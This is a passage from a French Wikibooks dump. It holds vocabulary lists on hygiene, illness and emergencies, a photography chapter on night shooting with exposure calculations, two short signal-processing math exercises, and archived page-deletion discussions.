*40 bâtonnet grattoir *41 dentifrice (crème ~) *42 savon *43 crème savon *44 savon à raser *45 bloc d'alun *46 shampooing *47 peigne *48 fer à boucler *49 serre-tête *50 peigne (petit ~) *51 pince à cheveux *52 maquiller *53 pincette à épiler *54 cosmétique *55 cosméticienne *56 démaquiller *57 maquiller (se ~) *58 ouate hydrophile *59 couleur de la peau *60 mascara *61 rouge, fard pour les lèvres *62 fard pour les joues *63 colorant pour cheveux *64 anti-transpirant *65 anti-olfactif *66 désodorisant *67 pulvérisateur *68 applicateur *69 applicateur à boule *70 pinceau *71 crème de beauté *72 crème solaire *73 crème anti-moustiques *74 hygiène intime *75 serviette périodique *76 tampon == toilette de bébé== (V001) *1 couche *2 bourre *3 cellulosique *4 jetable *5 à usage unique *6 culotte imperméable *7 culotte en laine *8 chemisette *9 manche *10 huile de toilette *11 crème adoucissante *12 crème anti-mycosique *13 talc == habitude== (V001) *1 coucher (se ~) *2 dormir *3 sommeil *4 profond *5 ronfler *6 ronflement *7 reposer *8 sieste, pause sommeil *9 endormir *10 obscurcir *11 silence *12 bruit *13 agitation *14 réveiller *15 réveil *16 veiller *17 vigile *18 lever (se ~) *19 abstenir (s'~) *20 abstinence *21 coïter *22 coït *23 contraception *24 distributeur *25 préservatif *26 lubrifier *27 volage == gymnastique== (V001) *1 mouvement *2 lever *3 baisser *4 agenouiller (s'~) *5 incliner *6 courber *7 sauter *8 sautiller *9 étendre *10 contracter == police== (V001) *1 services *2 sanitaire(s) *3 hygiène *4 mœurs *5 publique *6 respecter *7 règle *8 norme *9 porter plainte *10 plainte *11 plaignant *12 contrevenant *13 dénonciation *14 manquement *15 infraction *16 fermeture *17 (ré)ouverture *18 abusif *19 mettre *20 ordre *21 statut *22 examen *23 interrogatoire *24 preuve *25 mesure == drogue== (V001) *1 intoxiquer *2 intoxication *3 désintoxication *4 priver *5 alcool *6 saouler *7 ivre *8 '' fumer ''' *9 fumeur *10 non fumeur *11 fumée *12 gêner *13 gêne *14 coin fumeurs *15 puer *16 éteindre *17 cendrier *18 interdit == parasite== (V001) *1 nuire *2 mouche *3 fourmi *4 cafard *5 moustique *6 guêpe *7 mite *8 punaise *9 puce *10 tique, acarien *11 poux *12 termite *13 insecte *14 insectes nuisibles *15 souris *16 rat *17 vermine *18 moisissure *19 venin *20 insecticide *21 ''pollution''' *22 nocif *23 amiante *24 suie *25 oxyde *26 carbone *27 aromatique *28 radioactivité *29 radiation *30 émetteur *31 décontaminer *32 traiter == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Hygiene allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Higiene interlingue (ex occidental)] - [http://mg.wikibooks.org/wiki/Voambolana_/_Fikoloam-pahasalamana malgache] Photographie - Chapitre 31 - Thèmes photographiques 5355 24626 2005-10-30T09:54:52Z Jean-Jacques MILAN 114 {{Photographie}} * [[Photographie - 31 - L'automne|L'automne]] * [[Photographie - 31 - Les couchers de soleil|Les couchers de soleil]] * [[Photographie - 31 - L'eau|L'eau]] * [[Photographie - 31 - Les enfants|Les enfants]] * [[Photographie - 31 - Les feux d'artifice|Les feux d'artifice]] * [[Photographie - 23 - Macrophotographie|La macrophotographie]] a été classée parmi les techniques scientifiques. * [[Photographie - 31 - Les monuments|Les monuments]] * [[Photographie - 31 - La nature|La nature]] * [[Photographie - 31 - Le nu|Le nu]] * [[Photographie - 31 - La nuit|La nuit]] * [[Photographie - 31 - Les oiseaux|Les oiseaux]] * [[Photographie - 31 - Le paysage|Le paysage]] * [[Photographie - 31 - Le portrait|Le portrait]] * [[Photographie - 31 - Le reportage|Le reportage]] <!-- * [[Photographie - 31 - L|L]] --> Photographie - 31 - La nuit 5356 30400 2006-01-26T12:17:10Z Jean-Jacques MILAN 114 /* Particularités du thème */ correction {{Photographie}} == Particularités du thème == Le premier problème à résoudre pour la photo de nuit est celui du contraste. Dans de très nombreux cas, le fond de la photo est noir ou en tous cas très sombre, tandis que d'autres zones sont violemment éclairées. Souvent, d'ailleurs, les sources de lumière figurent dans le cadre et parfois, ce sont elles qui constituent le sujet principal. Les écarts de luminances entre les zones claires et les zones sombres sont presque toujours largement supérieurs à ce que peuvent enregistrer les films ou les capteurs numériques, il faudra donc sacrifier obligatoirement les unes ou les autres. Les contrastes sont moins importants si l'on choisit de tricher un peu et d'opérer juste avant l'obscurité totale, car les fonds complètement noirs et privés de détails sont peu esthétiques. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Nice-night-view-with-blurred-cars 1200x900.jpg|240px|center]] |'''Nice'''<br><br>Il s'agit plus ici d'une photo prise au crépuscule que d'une véritable photo de nuit. Le ciel est encore lumineux mais les éclairages artificiels prennent déjà une importance considérable car la luminosité ambiante est suffisamment faible.<br>Compte tenu de la longueur des traces laissées par les phares des voitures, on peut estimer le temps de pose à 1/4 s ou 1/8 s. Le souci de bien mettre en valeur la courbe de la baie est évident, on peut cependant déplorer la tache blanche due au réverbère presque au centre de l'image : le regard se dirige en effet directement vers les zones claires des images et celles-ci sont rarement intéressantes dans les photos de nuit. |- |[[Image:Stockholm-at-night.jpg|240px|center]] |'''Stockholm'''<br><br>La nuit est maintenant presque tombée mais la luminosité résiduelle permet de dessiner le contour des bâtiments sur fond de ciel bleu sombre et de donner encore un peu de relief à la scène. On peut tout de même regretter que le premier plan soit aussi vide et que de ce fait le sujet principal, c'est-à-dire la ville, se trouve en quelque sorte repoussé au loin. |- |[[Image:Duesseldorf riverside by night 01.jpg|240px|center]] |'''Dusseldorf'''<br><br>La nuit est là mais le ciel un peu brumeux est éclairé par les lumières de la ville, ce qui donne le même résultat que précédemment. La présence des bateaux au premier plan donne beaucoup de profondeur à la photo. |- |[[Image:Moon over Vancouver.jpg|240px|center]] |'''Clair de Lune sur Vancouver'''<br><br>Ici la Lune apporte de l'aide, mais elle est trop centrée, ce qui n'améliore pas la composition de la photo : les deux angles supérieurs sont vraiment vides. |- |[[Image:Champs Élysées by night.jpg|240px|center]] |'''Les Champs-Élysées'''<br><br>La « plus belle avenue du monde » est ici réduite à sa plus simple expression, le fond entièrement noir ne laisse rien deviner des immeubles, les lumières des voitures se perdent dans l'obscurité. Heureusement, le sol légèrement humide permet de conserver un peu de « matière », mais pas dans la zone la plus intéressante ! Sans doute aurait-il fallu poser davantage, quitte à ce que les taches lumineuses des lampes s'étalent plus ou moins. |- |} Les réactions des systèmes de mesure de la lumière intégrés aux appareils étant en grande partie imprévisibles, le résultat des prises de vues nocturnes est riche en surprises pour les débutants. L'expérience aidant, le photographe apprend à corriger à bon escient les valeurs du diaphragme et de la vitesse d'obturation mais il doit disposer pour ce faire d'un appareil qui ne soit pas purement automatique. Si les circonstances le permettent, il est bon de faire plusieurs prises de vues en faisant varier l'exposition en plus et en moins, donc de pratiquer ce que nos amis anglo-saxons et leurs imitateurs appellent le « bracketting ». Avant l'apparition de la photographie numérique, cette méthode était très onéreuse car elle conduisait évidemment à sacrifier deux photos sur trois ou éventuellement quatre sur cinq selon l'étendue de la variation pratiquée. == Quelle sensibilité faut-il adopter ? == S'il faut '''figer un mouvement''', le manque de lumière conduit invariablement à choisir un '''objectif très lumineux''' et une '''sensibilité élevée''', ce qui présente le double inconvénient de diminuer la profondeur de champ et d'obtenir des images dégradées par la granulation de la pellicule ou le bruit du capteur. Le flash, qui casse les ambiances, ne doit être utilisé qu'en dernier recours, s'il est vraiment impossible de faire autrement. Cette situation peut se présenter lors d'un concert, d'un spectacle de rue, ou encore lorsque le photographe est lui-même en mouvement, par exemple à bord d'un bateau. Dans ces conditions, il ne faut pas hésiter à adopter des sensibilités de 800 ou 1600 ISO, voire davantage ; pour autant, cela ne dispense généralement pas d'utiliser un pied ou un autre appui. La présence d'un stabilisateur dans l'objectif ou dans le boîtier est évidemment un élément favorable. Dans tous les autres cas, contrairement à ce que l'on pourrait imaginer, il vaut mieux adopter une pellicule de '''faible sensibilité''' (100 ISO est une bonne valeur) ou laisser le capteur de son appareil numérique sur sa sensibilité nominale, qui équivaut habituellement à des valeurs de l'ordre de 80 ou 100 ISO. Un bon support est alors indispensable et dans le cas des appareils réflex, il conviendra d'éviter autant que possible les valeurs du temps de pose comprises entre 1/30e s et 1/2 s car c'est dans cet intervalle que les vibrations dues à la remontée du miroir sont les plus néfastes. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Westminster bridge night.jpg|240px|center]] |'''Pont de Westminster'''<br><br>Cette photo (cliquer pour l'agrandir) manque beaucoup de finesse, les valeurs sombres présentent un moutonnement important très probablement dû au bruit du capteur utilisé à une sensibilité trop élevée. Les données Exif indiquent que l'appareil était réglé en exposition automatique et qu'il a déterminé un temps de pose de 0,25 s à f/2,8, avec une sensibilité de 400 ISO. |- |[[Image:Westminster river view at night.jpg|160px|center]] |'''L'œil de Londres'''<br><br>Cette version est nettement meilleure, le bruit est beaucoup plus faible et le rendu des détails, sans être impressionnant, est beaucoup plus fin. Les données Exif indiquent que le photographe a choisi de passer en exposition manuelle, avec un temps de pose de 2,5 s, donc dix fois plus long que pour la photographie précédente, à f/2,8. La sensibilité n'est pas précisée mais elle devait être réduite à sa plus faible valeur. |- |} == Photographier au clair de lune == Il est relativement facile de déterminer un temps de pose de base : l'éclairement donné par le soleil, à midi et par beau temps, vaut à peu près 100&nbsp;000 lux. Pour la pleine lune, il vaut environ 0,2 lux, soit 500&nbsp;000 fois moins. Appliquons la bonne vieille règle du diaphragme 16 : au soleil, par beau temps, à midi, le temps de pose est l'inverse de la sensibilité ISO si le diaphragme est réglé sur f/16. Avec un film de 400 ISO, il faut donc photographier à 1/400e s. Dans les mêmes conditions, sous l'éclairement de la lune, il faut poser 500&nbsp;000 x 1/400 = 1&nbsp;250 s, soit environ 20 mn. Cela donne 10 mn à f/11, 5 mn à f/8, 2,5 mn à f/5,6, 1,25 mn à f/4, etc. C'est le temps de base, il faut le majorer nettement à cause de l'effet Schwarzschild ; avec un temps de base de 1,25 mn, selon le film, le temps peut être multiplié par un facteur 2 à 3. Disons alors 4 mn à f/4, ce sera notre dernier prix ! Si nous avons le temps, nous ferons une pose à 2,5 mn, une à 4 mn, une à 6 mn. Si le ciel est un peu voilé et donc légèrement lumineux, ces temps seront quelque peu réduits. Si la lune n'est pas pleine, il faut au contraire les augmenter. En noir et blanc, le résultat des prises de vues au clair de lune est souvent assez étonnant, en particulier si le ciel est un peu voilé : les photographies ont des tonalités assez semblables à celles que l'on obtiendrait en plein jour ! En revanche, si le ciel est bien noir, les ombres deviennent très denses et en général complètement bouchées, sans le moindre détail. Normal, puisque lors de prises de vues diurnes les ombres sont éclairées, parfois fortement, par le ciel. En couleurs, c'est une autre affaire, chaque film réagit un peu à sa façon et les teintes, toujours à cause de l'effet Schwarzschild, sont presque toujours décalées et pour les temps très longs, de sévères dominantes apparaissent, qui ne peuvent pas être corrigées par un tirage argentique traditionnel. Les capteurs numériques donnent des résultats variables, chacun pourra essayer avec son propre appareil. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:080 - Ploumanac'h n° 2.jpg|240px|center]] |'''Ploumanac'h'''<br><br>Les rochers de Ploumanac'h au clair de lune. Le ciel légèrement voilé a permis d'obtenir un contraste acceptable et des ombres pas trop denses. La pose est de l'ordre de 5 mn avec un film de 125 ISO. |- |[[Image:070 - Ploumanach' n° 1.jpg|240px|center]] |'''Ploumanac'h'''<br><br>Les conditions sont les mêmes, mais les lumières de la ville de Ploumanac'h sont maintenant dans le champ. Le négatif est assez clair mais bien détaillé dans les zones sombres, en revanche il est sérieusement brûlé dans les zones lumineuses. Le tirage nécessite un masquage sérieux pour faire ressortir les lumières de la ville qui sont exposées sous l'agrandisseur environ 20 fois plus que le reste de l'image. |- |} == Quelques trucs == Un posemètre indépendant peut rendre de grands services mais dans les situations difficiles il risque de se faire piéger aussi lourdement que les systèmes de mesure des appareils. Penser, quand c'est possible, à mesurer la lumière en s'approchant du sujet ou en opérant sur un élément proche identiquement éclairé. Une mesure directe de la lumière incidente avec un posemètre indépendant peut donner de très bons résultats. Le pied est un « accessoire essentiel » mais gare aux vertèbres, tous les pieds stables et rigides permettant de travailler à hauteur d'homme sont lourds, très lourds. Un monopode peut rendre des services mais il n'assure qu'une stabilisation partielle, souvent insuffisante. Un accessoire qui se révèle souvent intéressant est une pince rigide (genre serre-joint de menuisier) munie d'une rotule, à condition évidemment de trouver un support adéquat. Il est bon de disposer d'un déclencheur souple permettant d'actionner l'appareil avec un minimum de vibrations. L'usage du retardateur, dans le cas de sujets fixes, est une bonne idée. Le déclencheur souple, électrique ou à retardement, vous permet de déclencher avec le minimum de vibration. La technique du retardateur a l'avantage de vous éviter de trimballer trop de matériel et est efficace. Pas de panique si, pendant une pose longue, un événement imprévu se produit. Par exemple, alors que l'on veut enregistrer les traînées produites par les phares des voitures, l'une d'entre elles s'arrête : pour éviter d'obtenir une tache lumineuse très désagréable, il suffit de fermer temporairement l'objectif avec son bouchon ou de couvrir l'appareil avec un tissu noir. En cas de ratage, il est parfois possible de refaire la prise de vue plus tard. Si vous n'avez pas noté les paramètres de la prise de vue, vous risquez de refaire exactement les mêmes erreurs. Les nuits sont souvent froides, couvrez-vous bien, Wikilivre serait navré de perdre des lecteurs victimes d'une grippe mal placée ! == Thèmes == === Les lumières de la ville === {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Brooklyn Bridge at Night New York City 1903 Aerial View.jpg|240px|center]] |'''Pont de Booklyn'''<br><br>Une très vieille photo qui date de 1903 |- |[[Image:Montreal by night.jpg|240px|center]] |'''Montréal la nuit'''<br><br>C'est ici le cas typique d'une photo faite trop tôt, les lumières de la ville ne font pas le poids par rapport à la lumière du jour et les bâtiments forment une masse sombre peu agréable. |- |[[Image:Taipei night birdeye2.jpg|240px|center]] |'''Taipei'''<br><br>Une photo aux tonalités assez peu agréables, manquant de contraste et de composition, avec des plages sombres fortement bruitées. |- |[[Image:BrisbaneByNight2004.jpg|240px|center]] |'''Brisbane'''<br><br>L'eau est ici un élément important de la composition. Lorsqu'elle est plus ou moins agitée, son aspect dépend beaucoup de la longueur de la pose, il vaut mieux, en cas de doute, allonger le temps plutôt que de le raccourcir. |- |[[Image:Shinjuku20040421.jpg|240px|center]] |'''Shinjuku'''<br><br>Une image finalement assez lugubre de cette ville japonaise. |- |colspan="2"|[[Image:Wellington City Night.jpg|800px|center]] '''Wellington City.<br>'''Le panoramique peut donner de très bons résultats et la version grand format (attention, plus de 4 Mo) est d'une qualité impressionnante. |- |} <gallery> Image:Kokura Jp night.jpg Image:Long Beach, CA at night.jpg Image:Dresden at night.jpg Image:Sandiego skyline at night.JPG Image:Toronto Downtown Core at Night.jpg Image:Toshiba Corporation at night.jpg Image:Empire State Building Night.jpg Image:La Vegas Strip Night.jpg </gallery> === Paysages urbains === <gallery> Image:Shinjuku-station-night.jpg Image:PutneyBridgeAtNight.jpg Image:Hurghada, main street of the bazaar in El Dahar at night, during Ramadan, Egypt, Oct 2004.jpg Image:Expo 2005 Aichi Japan Nagakute Hall of Night view 01.jpg Image:Hurghada, main street of the bazaar in El Dahar at night, during Ramadan, Egypt, Oct 2004.jpg Image:42nd Street Chrysler Building Christmas Shopping.jpg Image:Diemen by night 1.jpg Image:Gdansk-motlawa-night.jpg Image:Cincinnati-fountain-night.jpg Image:Copenhagen at night - Palads.jpg Image:Copenhagen at night - Tivoli.jpg Image:Museum in Docklands at night 2005-01-10.JPG Image:Sarlat-medieval-city-by-night-20.jpg Image:Sarlat-medieval-city-By-night-2.jpg Image:Sarlat-medieval-city-by-night-16.jpg Image:Sarlat-medieval-city-by-night-15.jpg Image:Wenceslas Square, upper part, at night.jpg Image:Shenzhen night street.JPG Image:Wroclaw, Poland (Town Hall by night).jpg Image:Tokyo01.jpg Image:Pudong night 01.jpg Image:Night canary wharf london.jpg </gallery> === Ports, aéroports, zones industrielles === <gallery> Image:Port of Wellington at night.jpg Image:Landeanflug Ffm.jpg|Lights at an [[airport]] Image:MiRO5.jpg Image:ECT waalhaven bij nacht.jpg </gallery> === Monuments === {| border="1" cellspacing="0" cellpadding="5" |[[Image:The Palace Lumineux, night, Exposition Universal, 1900, Paris, France.jpg|240px|center]] |'''Exposition universelle de Paris, 1900, le Palais lumineux'''<br><br>Cette photo a un caractère essentiellement historique. La photo de nuit ne date pas d'hier mais il s'agit ici très vraisemblablement d'une photographie en noir et blanc mise ultérieurement en couleurs, comme cela se faisait souvent à l'époque. |- |- |[[Image:GustafVasa Night1.jpg|240px|center]] |'''Église Gustaf Vasa à Stockholm'''<br><br>La photo n'est pas inintéressante mais la tache lumineuse sur le bord gauche devrait être coupée car elle attire trop le regard, au détriment du monument. |- |[[Image:Westminster from London Eye night.jpg|240px|center]] |'''Londres, Palais de Westminster depuis la grande roue'''<br><br>Il est toujours intéressant de représenter un monument archi connu sous un angle inhabituel et avec un éclairage inhabituel. |- |[[Image:Lake Shanhu pagodas at night.jpg|240px|center]] |'''Pagodes du lac Shanhu (Guanxi, China)'''<br><br>Évidemment les éclairages bien conçus facilitent la tâche des photographes. Ici, toutefois, les couleurs sont quelque peu outrées, peut-être serait-il intéressant de les désaturer légèrement. La présence de l'eau est toujours un élément favorable pour jouer avec les reliefs et améliorer la composition des images. |- |} <gallery> Image:Bund at night.jpg Image:Mosqe-Hassan-II-night.jpg Image:Mysore-palace-at-night.jpg Image:Pineapple pub at night2.jpg Image:Trierer Dom at night.jpg Image:Sarlat-medieval-city-By-night-1.jpg Image:Luxor, Luxor Temple, inside, at night, Egypt, Oct 2004.jpg Image:Luxor, Luxor Temple, south west view at night, Egypt, Oct 2004.jpg Image:Aranjuez PalacioReal night1.jpg Image:Jubelpark triumphbogen.jpg </gallery> === Spectacles, sports === <gallery> Image:Balloon night glow 2001 09.jpg </gallery> === Fêtes === <gallery> Image:Terminator, back night.jpg Image:KMG Booster, Speed, night.jpg Image:Chair-O-Planes, night.jpg Image:Extreme - Orbiter, spinning night.jpg Image:Terminator and Paratrooper, night.jpg Image:Fair, east track night.jpg Image:Freak Out, Oblivion, night.jpg Image:Extreme - Orbiter, strobe night.jpg Image:Fair, night, Airwolf and Terminator back.jpg Image:Super Star, Freak Out and KMG Booster, night.jpg Image:Super Star, Freak Out and KMG Booster, night 02.jpg Image:Jumpin Frog, night 02.jpg Image:Jumpin Frog, night.jpg </gallery> === Édifices, ouvrages d'art === <gallery> Image:Oriental Pearl at night.jpg Image:Woolworth Building 1913 Manhattan New York City at Night.jpg Image:Bank of china night.jpg Image:Grand Coulee Dam night no forebay.jpg Image:Rio Antirio bridge illuminated at night dsc06360.jpg Image:Shelby street bridge night.jpg Image:137-3734 IMG.JPG </gallery> === Sites naturels === <gallery> Image:Niagara Falls at night 01.jpg Image:Niagara Falls at night 02.jpg Image:Niagara Falls at night 03.jpg Image:Niagara Falls at night 04.jpg Image:Arenal Volcano at night.jpg </gallery> === Vie nocturne === <gallery> Image:Shilin night market alley.jpg Image:Shilin night market food court.jpg </gallery> === Divers === <gallery> Image:B-2 Spirit night.jpg Image:Kiz kulesi at night-2004.jpg Image:USS Wisconsin BB-64 2004 night.jpg Image:SagradaFamilia constructing by night.jpg </gallery> == Outils pour la page == {| border="1" cellspacing="0" cellpadding="5" |- |[[|240px|center]] |''''''<br><br> |- |[[|240px|center]] |''''''<br><br> |- |[[|240px|center]] |''''''<br><br> |- |[[|240px|center]] |''''''<br><br> |- |} <gallery> </gallery> Vocabulaire / Maladies 5357 24256 2005-10-25T18:50:36Z Oui 428 == symptôme== (V001) *1 mal de tête *2 migraine *3 oreillons *4 myopie *5 presbyte *6 astigmatisme *7 rhume de cerveau *8 catarrhe *9 refroidissement *10 pustule *11 carie *12 abcès dentaire *13 gencive *14 inflammation *15 angine *16 tousser *17 paludisme *18 variole *19 tuberculose *20 fracture *21 luxation *22 rhumatisme *23 arthrite *24 boiter *25 indisposition *26 crise *27 diarrhée *28 constipation *29 mycose *30 microbe *31 virus *32 fièvre *33 douleur *34 vertige *35 évanouissement == médecin== (V001) *1 clientèle *2 visite *3 consultation *4 réception *5 salle d'attente *6 salle de visite *7 salle des soins *8 salle de radiographie *9 laboratoire *10 bureau du médecin *11 ouverture à la clientèle *12 présence du médecin *13 prendre place *14 'examen''' *15 tâter *16 ausculter *17 stéthoscope *18 examiner *19 retirer *20 prescrire *21 ordonnance *22 porter malade *23 bulletin d'arrêt de travail pour maladie *24 employeur *25 caisse *26 mutuelle d'assurance *27 carte *28 électronique *29 carnet *30 santé *31 tarif *32 '''soins''' *33 ambulant *34 stationnaire *35 dispensaire *36 clientèle d'infirmière *37 hôpital *38 injecter *39 antibiotique *40 aspirer (le liquide) *41 vaccin *42 pilule *43 cachet *44 sirop *45 lotion *46 crème *47 pommade *48 gel *49 aérosol *50 suppositoire *51 bandage *52 compresse *53 éclisse *54 broche *55 plâtre *56 suture *57 agrafe *58 tisane *59 '''traitement''' *60 homéopathique *61 allopathique *62 pédiatre *63 gynécologue *64 oculiste *65 cardiologue *66 urologue *67 dermatologue *68 dentiste *69 radiographie *70 chirurgien *71 opération chirurgicale *72 narcose *73 pharmacien *74 pharmacie *75 pharmaceutique == urgences== (V001) *1 numéro *2 appel au secours, appel des secours *3 pompiers *4 service de garde *5 centre anti-poison *6 lieu *7 victime *8 témoin *9 médecin *10 secouriste *11 ambulancier *12 donneur de sang *13 spectateur voyeur *14 réception *15 '''ambulance''' *16 hélicoptère *17 embarcation de sauvetage *18 engin (lourd) *19 véhicule spécial *20 tente de secouristes *21 abri *22 demander *23 arrivée *24 ''conscience''' *25 perdre *26 inconscient *27 coincé *28 accessible *29 inaccessible *30 masqué, caché *31 terre *32 déblais *33 eau *34 neige *35 glace *36 feu *37 produits chimiques *38 irradiation *39 risque *40 explosion *41 effondrement *42 '''étayer''' *43 déblayer *44 sécuriser *45 avertir *46 pancarte *47 triangle *48 barrer *49 refouler *50 préparer *51 attendre *52 '''hémorragie''' *53 blessure (apparente) *54 empoisonnement *55 étouffement *56 noyade *57 électrocution *58 brûlure *59 corrosion *60 tentative *61 '''assassinat''' *62 suicide *63 viol *64 mutilation *65 départ de feu *66 incendie *67 forêt *68 steppe *69 végétaux *70 '''nocif''' *71 produit *72 secousse sismique *73 secousse tardive *74 explosif *75 vaste d'étendue *76 ensevelissement *77 menace *78 inondation *79 eau potable *80 hydrocarbures *81 germe *82 pollué *83 '''ravitaillement''' *84 médicament *85 pansement *86 victuailles *87 couverture *88 rassembler *89 distribuer *90 vacciner *91 iode == Autres langues == [http://de.wikibooks.org/wiki/Vokabular_/_Krankheiten allemand] - [http://ie.wikibooks.org/wiki/Vocabulárium_/_Maladie interlingue] - [http://mg.wikibooks.org/wiki/Voambolana_/_Aretina_sy_fikarakarana_vonjimaika malgache] Mathématiques du traitement du signal:exercices:suites 5358 38893 2006-03-27T07:18:02Z Charles 328 == Convergence numérique == __TOC__ === Suite === En définissant la suite <math>a_n</math> ainsi : <math>a_0 = {61\over 11},\, a_1={11\over 2},\, a_n=111- {1130 - {3000\over a_{n-2}} \over a_{n-1}} </math> alors <math>\lim_{n\rightarrow\infty} a_n=6</math> (essayer des simulations) [[Image:A61-large.png|400px|points de convergence]] [[Image:A61-small.png|400px|points de convergence]] [[Image:A61-small2.png|400px|points de convergence]] == Série entière == Soit: <math>f_K(\alpha)=\sum_{k=0}^K \frac{\alpha^{2k+1}}{\mathbf{E}(X^{2k})},\, X\sim{N}(0,1)</math> Alors <math>f_\infty</math> vérifie l'équation différentielle: <math>f'_\infty(x) = 1+x \,f_\infty(x)</math> et donc: <math>f_\infty(x)=e^{-x^2/2}\left( 1 + \int_{-\infty}^x e^{-t^2/2} dt\right)</math> [[Catégorie:Mathématiques]] Wikilivres:Pages à supprimer/Archives 5359 42887 2006-05-20T17:01:26Z Greudin 1 /* [[Eichman]] et [[Procès de Eichman à Jérusalem]] */ +guide Intra et asterix == <strike>[[Salons littéraires]] et [[Bridge en wikireader]]</strike> == Ces livres pourraient sans doute avoir un intérêt, si 82 ne les utilisait pas pour troller, en y plaçant des propos hors-sujet (guerre d'édition et autre drague virtuelle etc.) et en évoquant insidieusement ses conflits avec des contributeurs de la Wikipédia, conflits dans lesquels il se montre particulièrement infamant (voir son dernier commentaire : trollnicheuse...). [[Utilisateur:Caton|Caton]] 6 mar 2005 à 19:56 (UTC) *<s>'''supprimer'''</s> dans l'état actuel ; dans la mesure où le but initial était que ce ''wikireader'' puisse dans sa version finale servir de ''vitrine'' à wikipédia, je vais faire une ultime tentative de neutralisation ; notamment en virant auteur post-révolutionnaire et salon virtuel du premier, ainsi que, dans le second, les interludes (guerre d'édition, drague virtuelle...) ; je laisse un moment Zidane mais juste le temps de sauver ailleurs ce qui ne parle pas de foot ; en revanche, je pose la question ; est-ce que des personnalités dont ce n'était pas l'activité principale mais ayant souvent joué au bridge comme [[w:Omar Sharif]] doivent y rester ou pas ??? [[Utilisateur:82.224.88.52|82.224.88.52]] 7 mar 2005 à 22:08 (UTC) Puisque 82 a enlevé les passages posant problème, la demande de suppression n'a plus lieu d'être. [[Utilisateur:Caton|Caton]] 17 mar 2005 à 17:39 (UTC) ---- *'''Conserver''' en regrettant que depuis le 5 mars ([[Discuter:Calcul écrit]]) mon principal contradicteur ne soit intervenu nulle part sur wikibooks ; ses différents critiques avaient permis de faire avancer et surtout préciser ce double projet de wikireader. [[Utilisateur:82.224.88.52|82.224.88.52]] 19 mar 2005 à 20:53 (UTC) *'''Supprimer''' [[Utilisateur:Didier|Didier]] 22 mar 2005 à 17:37 (UTC) ** C'est quoi au juste ? un copier/coller d'articles de wikipédia avec en plus des hors sujets (style zidane...) :::ben vire-les les hors-sujet... sinon, ça sert à quoi d'être sur un wiki ??? [[Utilisateur:82.224.88.52|82.224.88.52]] 22 mar 2005 à 19:32 (UTC) ** Titre farfelu et non francophone. Que veut-dire ''wikireader'' ? Lecteur de wiki ? C'est un programme, une personne ? Si c'est dans le but de faire une ''version imprimée d'un article de wikilivres'' ça n'a rien à faire dans le titre. Si on ne supprime pas, je propose comme titre [[Bac à sable du bridge]], etc. ** Et si tu te faisais un '''site perso''' ? :::En l'absence d'Ésope parti depuis le 5 mars, je suis ravi que quelqu'un d'autre pose des questions intéressantes par rapport à mon '''double projet de wikireader''' ; c'est vrai que je pourrais faire un '''site perso'''... mais où trouver un hébergeur qui interprète les mêmes balises bien pratiques et donc la même syntaxe qu'ici. [[Utilisateur:82.224.88.52|82.224.88.52]] 22 mar 2005 à 19:32 (UTC) ** Ce qui est toujours étonnant avec toi, 82, c'est que tu trouves nos questions intéressantes, mais n'y réponds jamais. [[Utilisateur:Esope|Esope]] 27 mar 2005 à 09:50 (UTC) :::c'est vrai que je n'ai pas répondu à chaque fois ; et, en particulier, j'aurais eu mieux fait d'indiquer aussitôt la '''nuance entre wikibook et wikireader''' :::lacune réparée sur http://en.wikinews.org/wiki/German_Wikipedia_DVD_sells_out_first_10%2C000-copy_run où l'on comprend mieux qu'un wikireader est bien une '''autre façon de lire''' les articles de wikipédia ; pas de honte donc d'avoir ''cop'collé'' quelques articles déjà existants vers le wikireader de bridge :::attention cependant ; à peu près 30% du texte n'est pas sur wikipédia et mais seulement dans le wikireader de bridge :::si c'est à présent suffisamment clair, j'espère pouvoir me remettre à la tâche car il reste encore quelques heures de travail, notamment sur le wiki global sur les salons. [[Utilisateur:82.224.88.52|82.224.88.52]] 10 avr 2005 à 08:57 (UTC) La trollnicheuse (voir plus haut) a fini par être exclue pour une longue période du wiki francophone principal et il est temps que je reprenne le collier ici. En effet, le '''vote pour traduire le mot wikireader''' est en train de s'achever là-bas ; c'est donc l'opportunité de fusionner mes différentes ébauches en une seule. Il faudra juste que je sois certain que je suis vraiment sur le bon wiki pour cette tâche finale pour laquelle j'ai aussi besoin que Caton me restaure (par exemple dans ma page perso) l'une des trois parties. [[Utilisateur:82.224.88.52|82.224.88.52]] 22 aoû 2005 à 18:14 (UTC) Je supprime, puisque personne n'est contre, à part 82. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 09:07 (UTC) == [[Bursho]] == Même si l'idée peut être intéressante, Wikilivres contient des livres pédagogiques ; les romans n'en font pas partie. --[[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 10 aoû 2005 à 17:01 (UTC) *'''Neutre''' je souhaite voir des romans sur wikilivres, mais les statuts et les discussion sur en: et fr: empêchent ce genre d'ouvrage d'être ici. Pour l'auteur de Bursho : il existe [http://www.aurevilly.net Limbes] un wiki par des ''wikipédistes'' pour sauvegarder son travail. [[Utilisateur:Greudin|Greudin]] ::'''Supprimer''' ça n'a pas bougé depuis aout et en l'état actuel ce n'est pas un wikilivre. [[Utilisateur:Greudin|Greudin]] *'''Neutre''' pour les mêmes raisons ; j'aime beaucoup Limbes dont la qualité d'écriture le place souvent au niveau d'une revue professionnelle de nouvelles ; l'inconvénient, c'est que Limbes ne bénéficie pas des ordinateurs puissants de la fondation wikipédia et est donc rapidement saturé ; je précise, jusqu'à ces tous derniers mois, que des textes littéraires de qualité mais peu connus étaient aisèment admis dans wikisources ; le revirement récent là-bas devrait nous faire interroger s'ils ne peuvent pas à présent être accueillis ici-même. [[Utilisateur:82.224.88.52|82.224.88.52]] 22 aoû 2005 à 20:59 (UTC) *'''Supprimer'''. Pas sa place. Ce "texte" a déjà été édité deux fois sur Wikisource ; résultat : poubelle. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 08:52 (UTC) Fait. [[Utilisateur:Marc|Marc]] 19 sep 2005 à 10:06 (UTC) ==[[Halakhot Yesodei Hattora - Pereq III]] et [[Halakhot Yesodei Hattora - Pereq II]]== Il semble que ce soit une simple traduction de textes religieux avec annotations, Dovi a '''déplacé''' ces textes '''sur wikisource''' dans la catégorie ad hoc, 